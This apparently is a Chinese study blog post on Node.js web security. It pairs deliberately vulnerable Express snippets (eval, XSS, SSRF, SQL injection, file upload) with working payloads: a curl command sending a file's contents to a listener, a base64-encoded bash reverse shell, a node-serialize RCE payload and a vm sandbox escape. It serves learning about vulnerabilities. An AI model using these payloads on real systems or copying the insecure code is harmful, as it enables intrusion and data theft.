前言
对于最近学习node.js的一些总结~
设置安全的HTTP头
在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:
Strict-Transport-Security //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。
X-Frame-Options //提供对于点击劫持的保护。
X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。
X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。
Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。
目前Helnet第三方模块已经帮开发人员设置好了,直接将它引入到我们的系统就可以了,代码如下
varexpress=require('express');varhelmet=require('helmet')varapp=express();app.use(helmet())app.get('/',function(req,res){res.end("hello ghtwf01")})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})
代码执行
示例代码如下
varexpress=require('express');varapp=express();app.get('/eval',function(req,res){res.send(eval(req.query.code));})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用
1.执行命令(打开微信)
code=require('child_process').exec('open /Applications/WeChat.app');
2.读取任意文件
因为没有回显所以需要数据外带
我们在自己的vps上写一个获取数据的文件test.php
<?php$content=$_POST['content'];file_put_contents("content.txt",$content);?>
然后执行命令
code=require('child_process').exec('curl -d "content=`cat /users/ghtwf01/Desktop/flag`" http://localhost:8890/test.php');
成功在自己vps上生成文件读取到文件内容
3.反弹shell
code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64 -d|bash');
YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx是bash -i >& /dev/tcp/127.0.0.1/4444 0>&1的base64编码
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('')来执行命令
除了eval函数能动态执行代码,setInteval、setTimeout、 new Function等函数也有相同的功能
XSS
Node.js不像java有很强大的过滤器,过滤用户的有害输入、缓解xss十分方便。但是可以通过设置HTTP头中加入X-XSS-Protection,来开起浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。由于本身没有xss防护机制 ,若是未经过滤直接显示外部的输入则导致XSS。
如下:
varexpress=require('express');varapp=express();app.get('/xss',function(req,res){res.end(req.query.content);})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})
程序直接将用户的输入显示到前端页面:
SSRF
ssrf漏洞在存在于大多数的编程语言中,node.js也不例外,只要web系统接收了外界输入的URL,并且通过服务端程序直接调用就会造成相应的漏洞
代码如下
varexpress=require('express');varapp=express();varneedle=require('needle');app.get('/ssrf',function(req,res){varurl=req.query['url'];needle.get(url);res.end('new request:'+url);})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})
SQL注入
示例代码
varexpress=require('express');varapp=express();varmysql=require('mysql');varconnection=mysql.createConnection({host:'localhost',user:'root',password:'root',database:'users',port:'8889'});connection.connect();app.get('/sqli',function(req,res){varid=req.query.id;varsql="select * from user where id="+id;connection.query(sql,function(error,result){if(error){res.send(error);}res.send(result[0]);});connection.end();})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})
成功实现注入
文件上传
形成的原因同样是因为未对上传文件作限制或限制不当
file.html
<html><head><title>文件上传表单</title><metahttp-equiv="Content-Type"content="text/html; charset=utf-8"/></head><body><h3>文件上传:</h3>选择一个文件上传:<br/><formaction="/upload"method="post"enctype="multipart/form-data"><inputtype="file"name="image"size="50"/><br/><inputtype="submit"value="上传文件"/></form></body></html>
test.js
varexpress=require('express');varapp=express();varfs=require("fs");varbodyParser=require('body-parser');varmulter=require('multer');app.use('/public',express.static('public'));app.use(bodyParser.urlencoded({extended:false}));app.use(multer({dest:'/tmp/'}).array('image'));app.get('/file.html',function(req,res){res.sendFile(__dirname+"/"+"file.html");})app.post('/upload',function(req,res){console.log(req.files[0]);// 上传的文件信息vardes_file=__dirname+"/"+req.files[0].originalname;fs.readFile(req.files[0].path,function(err,data){fs.writeFile(des_file,data,function(err){if(err){console.log(err);}else{response={message:'File uploaded successfully',filename:req.files[0].originalname};}console.log(response);res.end(JSON.stringify(response));});});})varserver=app.listen(8888,function(){varhost=server.address().addressvarport=server.address().portconsole.log("应用实例,访问地址为 http://%s:%s",host,port)})
npm
任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,如果使用了存在漏洞的第三方模块,那么就会有严重的安全问题。
node-serialize反序列化RCE漏洞(CVE-2017-5941)
这里首先需要了解一个知识叫IIFE(立即调用函数表达式),是一个在定义时就会立即执行的 JavaScript 函数
IIFE一般写成下面两种形式:
(function(){ /* code */ }());
(function(){ /* code */ })();
例如
和
现在开始分析node-serialize的漏洞点
位于node_modules\node-serialize\lib\serialize.js第75行中
可以看到传入的值在eval函数里面且被一对括号包裹,所以如果我们构造function(){}()函数,在反序列化时就会被当作IIFE立即调用执行
poc:
serialize=require('node-serialize');vartest={rce:function(){require('child_process').exec('whoami',function(error,stdout,stderr){console.log(stdout)});},}console.log("序列化生成的 Payload: \n"+serialize.serialize(test));
得到
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}"}
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}()"}
这个时候我们将其进行反序列化,代码如下
varserialize=require('node-serialize');varpayload='{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'whoami\',function(error, stdout, stderr){console.log(stdout)});}()"}';serialize.unserialize(payload);
成功执行命令
Node.js 目录穿越漏洞(CVE-2017-14849)
漏洞影响版本:
-
Node.js 8.5.0 + Express 3.19.0-3.21.2
-
Node.js 8.5.0 + Express 4.11.0-4.15.5
vulhub一键搭建环境
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
burpsuite抓包
现在开始分析漏洞点,先下载安装源码
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz && tar -zxvf 4.15.5.tar.gz && cd express-4.15.5 && npm install
位于Express的Send组件0.11.0-0.15.6版本pipe()函数中(/express-4.15.5/node_modules/send/index.js)
SendStream.prototype.pipe=functionpipe(res){// root pathvarroot=this._root// referencesthis.res=res// decode the pathvarpath=decode(this.path)if(path===-1){this.error(400)returnres}// null byte(s)if(~path.indexOf('\0')){this.error(400)returnres}varpartsif(root!==null){// malicious pathif(UP_PATH_REGEXP.test(normalize('.'+sep+path))){debug('malicious path "%s"',path)this.error(403)returnres}// join / normalize from optional root dirpath=normalize(join(root,path))root=normalize(root+sep)
关键位置是
if(root!==null){// malicious pathif(UP_PATH_REGEXP.test(normalize('.'+sep+path))){debug('malicious path "%s"',path)this.error(403)returnres}// join / normalize from optional root dirpath=normalize(join(root,path))root=normalize(root+sep)
这里有两个需要认识的函数
1.path.normalize()函数规范化给定的path:http://nodejs.cn/api/path/path_normalize_path.html
2.path.join()函数将多个参数组合成一个path:https://www.jb51.net/article/58298.htm
Send模块通过normalize('.' + sep + path)标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入join(root, path)函数中,跳转到我们想要跳转到的目录中
接下来的分析可参考:https://paper.seebug.org/439/
vm沙盒逃逸
vm可以理解为在一个虚拟环境中运行代码然后将结果取出来,这样可以防止恶意代码在主程序上执行
下面举一个例子,代码如下
constvm=require('vm');constx=1;constcontext={x:2};vm.createContext(context);// Contextify the object.constcode='x += 40; var y = 17;';// `x` and `y` are global variables in the context.// Initially, x has the value 2 because that is the value of context.x.vm.runInContext(code,context);console.log(context.x);// 42console.log(context.y);// 17console.log(x);// 1; y is not defined.
总结一下就是先将x=2放入沙盒并创建一个沙盒,然后将代码(x += 40; var y = 17;)放入沙盒中执行,因为最开始创建沙盒的时候定义了x=2,所以在此基础上在沙盒中进行运算得到x=42,y=17。因为const x=1是在沙盒外定义的,所以和沙盒无关,值仍然为1。
虽然拥有沙盒来帮助执行代码,但是vm还是轻松逃逸出去,因为this.__proto__指向的是主环境的Object.prototype
constvm=require('vm');constcontext={x:2};constscript=newvm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`);vm.createContext(context);varresult=script.runInContext(context);console.log(result);
-
第一步this.constructor.constructor通过继承链最终拿到主环境的Function
-
this.constructor.constructor('return process')()构造了一个函数并执行,拿到主环境的process变量
-
通过process.mainModule.require导入child_process模块,命令执行
参考链接
https://www.jb51.net/article/127896.htm
https://www.freebuf.com/articles/web/152891.html
https://paper.seebug.org/439/
https://threezh1.com/2020/01/30/NodeJsVulns/
http://nodejs.cn/api/